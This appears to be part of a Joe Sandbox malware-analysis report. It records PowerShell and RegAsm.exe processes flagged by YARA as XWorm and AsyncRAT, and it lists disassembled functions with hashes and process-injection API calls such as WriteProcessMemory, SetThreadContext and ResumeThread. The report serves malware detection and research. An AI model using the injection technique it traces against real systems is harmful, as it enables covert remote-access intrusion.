Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:53:29
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:53:34
Start date:	03/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Function 00007FF848E737B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2312711692.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 74e4a02f44bf7c5992a080c9be1fc7c96fd609f2ef856c70fdf68f16b12d8372
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: E601677111CB0D4FDB44EF0CE451AA6B7E0FB95364F50056DE58AC3651D736E882CB45

Analysis Process: powershell.exePID: 6400, Parent PID: 1020COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF848F2144D Relevance: 4.7, Strings: 2, Instructions: 2237COMMON

Download Yara Rule

Strings

!, xrefs: 00007FF848F22234
N_H, xrefs: 00007FF848F216CE

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: N_H$!
API String ID: 0-3136906785
Opcode ID: bdde106e13fd6defd769663327b5928b8cac0c4907052deaec6c556592e91324
Instruction ID: 16a2a30afd09c354ee13e27c03d133481a0d15c74840e4eb5d1e5ebdb8cdcc4e
Opcode Fuzzy Hash: bdde106e13fd6defd769663327b5928b8cac0c4907052deaec6c556592e91324
Instruction Fuzzy Hash: 56E26632E0EA894FE79AA76C68151B47BE1EF56250F0801FBD04DC71D3DE19AC46C39A

Function 00007FF848E56CD8 Relevance: 1.1, Instructions: 1065
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2277773210.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860d3214ceb637d1a6ab49e196c59add7edc9ce9238ec53e0d23dc75a9928cc6
Instruction ID: 23e900afec3da0103ffaf2b7951b549e095917e0d5dcad200e7975cf229084e8
Opcode Fuzzy Hash: 860d3214ceb637d1a6ab49e196c59add7edc9ce9238ec53e0d23dc75a9928cc6
Instruction Fuzzy Hash: E99216B0909A598FDB9AEF28C8547A9B7F1FF59340F5041EAD00DE7292CA385A80CF55

Function 00007FF848E5794D Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2277773210.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f43db321b964bebf021f6a347d4fcdda7bf213474f8efd13b66ffa2f423c5120
Instruction ID: bdfbee82c34061ec835ae41c4f932d9bd82796e1393cf5343bc30d114b5297f8
Opcode Fuzzy Hash: f43db321b964bebf021f6a347d4fcdda7bf213474f8efd13b66ffa2f423c5120
Instruction Fuzzy Hash: 193139B0D08A598FDB9ADF18C890BA9B7F1FF59340F1001EE910DE7291CB756A808F45

Function 00007FF848F20061 Relevance: 2.4, Strings: 1, Instructions: 1122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@+H, xrefs: 00007FF848F2016D

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID: @+H
API String ID: 0-1643726030
Opcode ID: 7ebc4745b60e9094537c004a633c369f14a066e34f8e72182cd8fc1237bc2e53
Instruction ID: 799dfa407ef03cef6f9a4c1207337145a5a96cc80a7cadaa2bbd94014567f39d
Opcode Fuzzy Hash: 7ebc4745b60e9094537c004a633c369f14a066e34f8e72182cd8fc1237bc2e53
Instruction Fuzzy Hash: F7722332A0EBC94FE35ABB2868555717BE1EF96250F0801FFD449CB1E3DA19AC06C356

Function 00007FF848E59D2D Relevance: 1.7, APIs: 1, Instructions: 213
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32 ref: 00007FF848E59E9E

Memory Dump Source

Source File: 00000004.00000002.2277773210.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f0cf2df8d344406ecae48c2a7c9924ee4fccca2bedfa8622bf7e14e380cb5724
Instruction ID: 4e78f21d34728b6b33278c5659d7979e8afe09af313911643e935c9bfed6c852
Opcode Fuzzy Hash: f0cf2df8d344406ecae48c2a7c9924ee4fccca2bedfa8622bf7e14e380cb5724
Instruction Fuzzy Hash: 19612370908A5C8FDB98EF98D884BE9BBF1FB69311F1041AED04DE3251DB74A985CB44

Function 00007FF848E56238 Relevance: 1.7, APIs: 1, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2277773210.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 248eb57e991b96a4be8739b1cdf4fc1ca06f2eaa86ea464449be6ae4eb2c4e48
Instruction ID: 3a9e7ed19bae4a8a50271ad353bab96cb06f814c1e5fc982253edac3159005d9
Opcode Fuzzy Hash: 248eb57e991b96a4be8739b1cdf4fc1ca06f2eaa86ea464449be6ae4eb2c4e48
Instruction Fuzzy Hash: A8510370908A5C8FDB98EF98D885BE9BBF1FB69301F1041AED04DE3251DB74A985CB44

Function 00007FF848E59829 Relevance: 1.7, APIs: 1, Instructions: 189
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32 ref: 00007FF848E5996E

Memory Dump Source

Source File: 00000004.00000002.2277773210.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4c3b318dae27b37f6638ead1441fdae1fe14fda556ff1947e8b9555e3ffd93dc
Instruction ID: 395ae3a6646c8f0e9b6d71bd04b238e41e8f0b1792592983fb84589964ea7b55
Opcode Fuzzy Hash: 4c3b318dae27b37f6638ead1441fdae1fe14fda556ff1947e8b9555e3ffd93dc
Instruction Fuzzy Hash: 81518F70D08A4D8FDB59EFA8D884BE9BBF1FB66311F1482AAD048D7255C7749885CF40

Function 00007FF848E595A9 Relevance: 1.7, APIs: 1, Instructions: 184
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 00007FF848E5969A

Memory Dump Source

Source File: 00000004.00000002.2277773210.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4d7a2c02fb930cd406bbca812077e7a20306f280838bae9954c934bb1645dcde
Instruction ID: 033972628d95d39e05f91a2af4f5759e9958c0b8749a68b5127869269b5f7fcd
Opcode Fuzzy Hash: 4d7a2c02fb930cd406bbca812077e7a20306f280838bae9954c934bb1645dcde
Instruction Fuzzy Hash: 3F51F770908A1D8FDBA8EF18D894BE9B7F1FB59310F1001AAD40DE3291DB35AA85CF45

Function 00007FF848E59F19 Relevance: 1.6, APIs: 1, Instructions: 139
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FF848E59FE9

Memory Dump Source

Source File: 00000004.00000002.2277773210.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6f38f2764b13a21831231deeaabda1c576b175d978e6c12c35d67f7ccb44dc85
Instruction ID: 1975dc2cd1d461fef22dccedb1e23871a831a9c0ecc946229e4cb9f981f27334
Opcode Fuzzy Hash: 6f38f2764b13a21831231deeaabda1c576b175d978e6c12c35d67f7ccb44dc85
Instruction Fuzzy Hash: 3D414A7090C64C8FDB59DF98D885BE9BBB0FB5A310F1441AED049E7252DB74A885CB41

Function 00007FF848F20561 Relevance: .2, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd8efd4a34ceb41648868bb8c6bdacc1eed02b98840604b3c73a1f9e71f16c0
Instruction ID: e6729837573ca9feff87c2ba2a810ed39aa473838b7125f823c340ecb1f8b68d
Opcode Fuzzy Hash: 1cd8efd4a34ceb41648868bb8c6bdacc1eed02b98840604b3c73a1f9e71f16c0
Instruction Fuzzy Hash: A2511532A1DA855FE358B72CA85A531BBD1EFD5750F1801BEE448C72D3EE15AC02838A

Function 00007FF848F20FFE Relevance: .2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f598db96c5f53d909aac0592adcb7070a852e28713a485747c74106accc4311
Instruction ID: 0fc1075a6be1d606af0c0068cbf165deb94c2902d6651430d531ec33e328c72c
Opcode Fuzzy Hash: 0f598db96c5f53d909aac0592adcb7070a852e28713a485747c74106accc4311
Instruction Fuzzy Hash: 63510332E1EE8A4FF7A9E7AC241167566D1FF457A0F5801BAD00AC71D3DE19BC444389

Function 00007FF848F22241 Relevance: .2, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1064103addcc84f11d8b3facfa93b77512c7a015bbb237e4248a97f9bf5d2192
Instruction ID: f2bf1c374ba4fec4d8fb66a5a0ff20612b443ad4f4afc1236a342f45dfefb43e
Opcode Fuzzy Hash: 1064103addcc84f11d8b3facfa93b77512c7a015bbb237e4248a97f9bf5d2192
Instruction Fuzzy Hash: C7514631D1DA894FE7A9EF68A851138B7E1EF96350F0805BED44DC71D3DB26AC118386

Function 00007FF848F214FA Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c243a896b81483ba7429f010881a6788621e7d3427dd5372fe48fbd34ffb3e9
Instruction ID: 7fac778fdfc5db1532f2c2493a588db8a41b67c4323fc71825fede3b0e15e481
Opcode Fuzzy Hash: 0c243a896b81483ba7429f010881a6788621e7d3427dd5372fe48fbd34ffb3e9
Instruction Fuzzy Hash: 1441D432E1EE874FF3AAA7AC245627965D1EF516A1F5801F9D00EC31D2EF0EA884430D

Function 00007FF848F21A61 Relevance: .1, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65e780a5ff97a3f97661b343aee034e207f09f93fea2b76afb2837a19c783233
Instruction ID: d315f27aa6cfff8e0d11a9892d43fb9528808a003c018a12ecb804a6203c9f92
Opcode Fuzzy Hash: 65e780a5ff97a3f97661b343aee034e207f09f93fea2b76afb2837a19c783233
Instruction Fuzzy Hash: 32316B31E1EE890FE7B9B7A8245927577E5EF55781F0801BAD40DC31C2EE1A7C45828E

Function 00007FF848F2104A Relevance: .1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2278836005.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55509e6078e364d72d11f4c995f81568904d39b2b0a6b88371891ae4f2b81fa7
Instruction ID: 226bc9453e7dd17729b2055cf0f2471461256192f2a0061ea5e7669afb34aa50
Opcode Fuzzy Hash: 55509e6078e364d72d11f4c995f81568904d39b2b0a6b88371891ae4f2b81fa7
Instruction Fuzzy Hash: F631EE32E1EA8A4FF7A9B7AC246127865D1FF416E1F5801BAD409C31D3DE1EAC84435E

Analysis Process: powershell.exePID: 1088, Parent PID: 6400COMMON

Executed Functions

Function 00007FF848E733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2155448675.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 24ef75c526cb65825109a4e7586d62867e1718cfd4eae63a3c90891dd0916743
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: CF01677111CB0D4FDB44EF0CE451AA6B7E0FB95364F50056DE58AC3691DB36E882CB45

Analysis Process: RegAsm.exePID: 6128, Parent PID: 6400COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	204
Total number of Limit Nodes:	17

Executed Functions

Function 067F2448 Relevance: 12.2, Strings: 9, Instructions: 905COMMON

Download Yara Rule

Strings

,aq, xrefs: 067F28E8
(o]q, xrefs: 067F2957
(o]q, xrefs: 067F2A09
(o]q, xrefs: 067F2947
(o]q, xrefs: 067F2531
(o]q, xrefs: 067F25FA
(o]q, xrefs: 067F255D
(o]q, xrefs: 067F2476
,aq, xrefs: 067F28D8

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-99275883
Opcode ID: ab4c173a4eae7fad4e667a199218366928ea6c283e26bb38c8d3befaebe07bb5
Instruction ID: 65d293d995bff7ac48962d4ef241fefff2e8db25e6e3db9391c36b3a7cb6b833
Opcode Fuzzy Hash: ab4c173a4eae7fad4e667a199218366928ea6c283e26bb38c8d3befaebe07bb5
Instruction Fuzzy Hash: 50822A34A20209DFCB94CFA8C584EAEBBF2FF48310F158559E5159B3A6D734EA41CB54

Function 067F1578 Relevance: 11.0, Strings: 8, Instructions: 1040COMMON

Download Yara Rule

Strings

\;]q, xrefs: 067F16A6
(o]q, xrefs: 067F1C22
(o]q, xrefs: 067F1F5A
Haq, xrefs: 067F1AEE
,aq, xrefs: 067F1FE0
\;]q, xrefs: 067F169A
,aq, xrefs: 067F1FD2
(o]q, xrefs: 067F1F68

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$,aq$,aq$Haq$\;]q$\;]q
API String ID: 0-2494306592
Opcode ID: ce5c524f0094ed2fb320b76af15030dd87bfe32bbcd534b8092c15fc0f1e1f42
Instruction ID: 7a52fdee03e6777d74fd79082beeb3029d920757e9a22821bde0594fde3d3b60
Opcode Fuzzy Hash: ce5c524f0094ed2fb320b76af15030dd87bfe32bbcd534b8092c15fc0f1e1f42
Instruction Fuzzy Hash: DD929D70A20209CFDB54CFA9C894AAEBBF6BF88300F558569E515DB3A1DB31DD41CB90

Function 067F5948 Relevance: 2.1, Strings: 1, Instructions: 833
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 067F63FE

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: ede4bd47a441f47c978f24877b0c2feb4da14046b0fa4323dc8bdae3e7af7d82
Instruction ID: fd619ddaa814e6c18900de30b3d9239e723b25c38cba85ba8bae7a9cae07b686
Opcode Fuzzy Hash: ede4bd47a441f47c978f24877b0c2feb4da14046b0fa4323dc8bdae3e7af7d82
Instruction Fuzzy Hash: 46628E34B102008FDB55AF75D968F2D77A7AFC8B10F108529E906AB395DF39DC828B91

Function 014A73A2 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014A742E
GetCurrentThread.KERNEL32 ref: 014A746B
GetCurrentProcess.KERNEL32 ref: 014A74A8
GetCurrentThreadId.KERNEL32 ref: 014A7501

Memory Dump Source

Source File: 00000007.00000002.3343068533.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_14a0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1965fbfd858ee2e52d74548bb422045abcaee23e64f2edd5f9cfd6c6be3e5613
Instruction ID: c497093e4e2ebb506f570493ee4f2ce98f1f82d3c61dd5499b233ef06bdac63d
Opcode Fuzzy Hash: 1965fbfd858ee2e52d74548bb422045abcaee23e64f2edd5f9cfd6c6be3e5613
Instruction Fuzzy Hash: AD5148B09013498FDB18DFA9D548BAEBFF1FF88314F20846AD419A7360D7399944CB65

Function 014A73B0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014A742E
GetCurrentThread.KERNEL32 ref: 014A746B
GetCurrentProcess.KERNEL32 ref: 014A74A8
GetCurrentThreadId.KERNEL32 ref: 014A7501

Memory Dump Source

Source File: 00000007.00000002.3343068533.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_14a0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bec50d9a03f5c6683a1d17a44cb474db31111c267009d4a21af994e82edf19ee
Instruction ID: a883ac0e11f3b2df477b083ed6baef4ece6e1fcc00c99d3248a1b534521b2c5b
Opcode Fuzzy Hash: bec50d9a03f5c6683a1d17a44cb474db31111c267009d4a21af994e82edf19ee
Instruction Fuzzy Hash: 735148B09002498FDB28DFA9D548BAEBFF5FF88314F208469D019A73A0D7399944CF65

Function 067F4118 Relevance: 4.2, Strings: 3, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 067F4157
4']q, xrefs: 067F4131
(o]q, xrefs: 067F4661

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: (o]q$4']q$4']q
API String ID: 0-2177113439
Opcode ID: 6d739523e0545eff5d18df22670e2383f3c6c7269e6c1c78790f87ab3b5628de
Instruction ID: 41e18bddc550f28d33dcd2d5c172f0477492ac852030081beb54aa7103e33733
Opcode Fuzzy Hash: 6d739523e0545eff5d18df22670e2383f3c6c7269e6c1c78790f87ab3b5628de
Instruction Fuzzy Hash: 78E161317201118FDB659F39C958F3E77E6EF84610F188469E606DB3AAEE29CC42C791

Function 067F3510 Relevance: 3.2, Strings: 2, Instructions: 701
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 067F4034
$]q, xrefs: 067F4057

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: eb1bc72dab52ece11d9fb4c9570c10740d287d26395cb674348c1244cc4cc09c
Instruction ID: 40a965e65ee519af1731ddea3bf109c4806931c38b099c1971683872abb7a344
Opcode Fuzzy Hash: eb1bc72dab52ece11d9fb4c9570c10740d287d26395cb674348c1244cc4cc09c
Instruction Fuzzy Hash: AF527074A002198FEB559FA4C960B9EBBB7FF94300F1080AED60A6B3A5CE395D45CF51

Function 067F0D20 Relevance: 2.8, Strings: 2, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 067F0E0B
Haq, xrefs: 067F0E3E

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 92285da43c461faddcb1bff5c5cf5913a8d289552b4f9674348fe92c6e2a359d
Instruction ID: f878f4540a8c324f1e1d0fc0185e1d1081f71e9ae830d60f57d6fdd649dcee04
Opcode Fuzzy Hash: 92285da43c461faddcb1bff5c5cf5913a8d289552b4f9674348fe92c6e2a359d
Instruction Fuzzy Hash: F8C1BD347202158FDB559F38C864A3A7BA6BF88650F148569E906CB396DF39DC02CBD1

Function 067F11E0 Relevance: 2.7, Strings: 2, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 067F12C0
,aq, xrefs: 067F12B6

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: ce87d7a3b88bfb84b092b06b61d71b1aad3277c917fdd2844cec478b42b9b9bb
Instruction ID: 90e2471ba2b4a8fb5701ba9ab20a546db46eead0a34d65f2964936add05a8079
Opcode Fuzzy Hash: ce87d7a3b88bfb84b092b06b61d71b1aad3277c917fdd2844cec478b42b9b9bb
Instruction Fuzzy Hash: 9D718E34E20105CFCB94CFA9C484D7AB7B2BF8A214FA58565D611E7764D731E841CBA1

Function 059523B0 Relevance: 1.8, APIs: 1, Instructions: 296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3375789757.0000000005950000.00000040.00000800.00020000.00000000.sdmp, Offset: 05950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5950000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6bc1839df4327bc2b0a3d2073f3b3aa39b4f57a2da850588f7f02bf4321bb27
Instruction ID: 5e80fb2a0ef5403dfacb5bbf13c3f25aaa42eb2a926e1fbabe0d1496d8f5793e
Opcode Fuzzy Hash: a6bc1839df4327bc2b0a3d2073f3b3aa39b4f57a2da850588f7f02bf4321bb27
Instruction Fuzzy Hash: DB919F75C093889FCF06CFA5C850A9DBFB5FF4A310F19819BE845AB262D3349859CB52

Function 059502F8 Relevance: 1.7, APIs: 1, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3375789757.0000000005950000.00000040.00000800.00020000.00000000.sdmp, Offset: 05950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5950000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed21c3f49efb81780c159b617f3ef13a4c496c2d88f73e38d60db7154e3248b7
Instruction ID: c60e53c01068d919add91d35b35960c3aa7756a699a46fe9f3f7b84682ede8be
Opcode Fuzzy Hash: ed21c3f49efb81780c159b617f3ef13a4c496c2d88f73e38d60db7154e3248b7
Instruction Fuzzy Hash: A2815B70A04B058FD764DF6AD04476ABBF5FF48710F04892ED88ADB650E774E85ACB90

Function 05952510 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05952622

Memory Dump Source

Source File: 00000007.00000002.3375789757.0000000005950000.00000040.00000800.00020000.00000000.sdmp, Offset: 05950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5950000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 26903ddfcf52be56607f7772eda832af6dc9dd014831aa5e9655dc534b4eaf4f
Instruction ID: a7ac9b151b9b5c353fac72c3e7782d163e805f125fd66c61dc6f2b73c8118bc9
Opcode Fuzzy Hash: 26903ddfcf52be56607f7772eda832af6dc9dd014831aa5e9655dc534b4eaf4f
Instruction Fuzzy Hash: 2941B0B5D00349DFDF14CF99C984ADEBBB5BF48310F24852AE819AB250D775A885CF90

Function 05954C70 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05954D31

Memory Dump Source

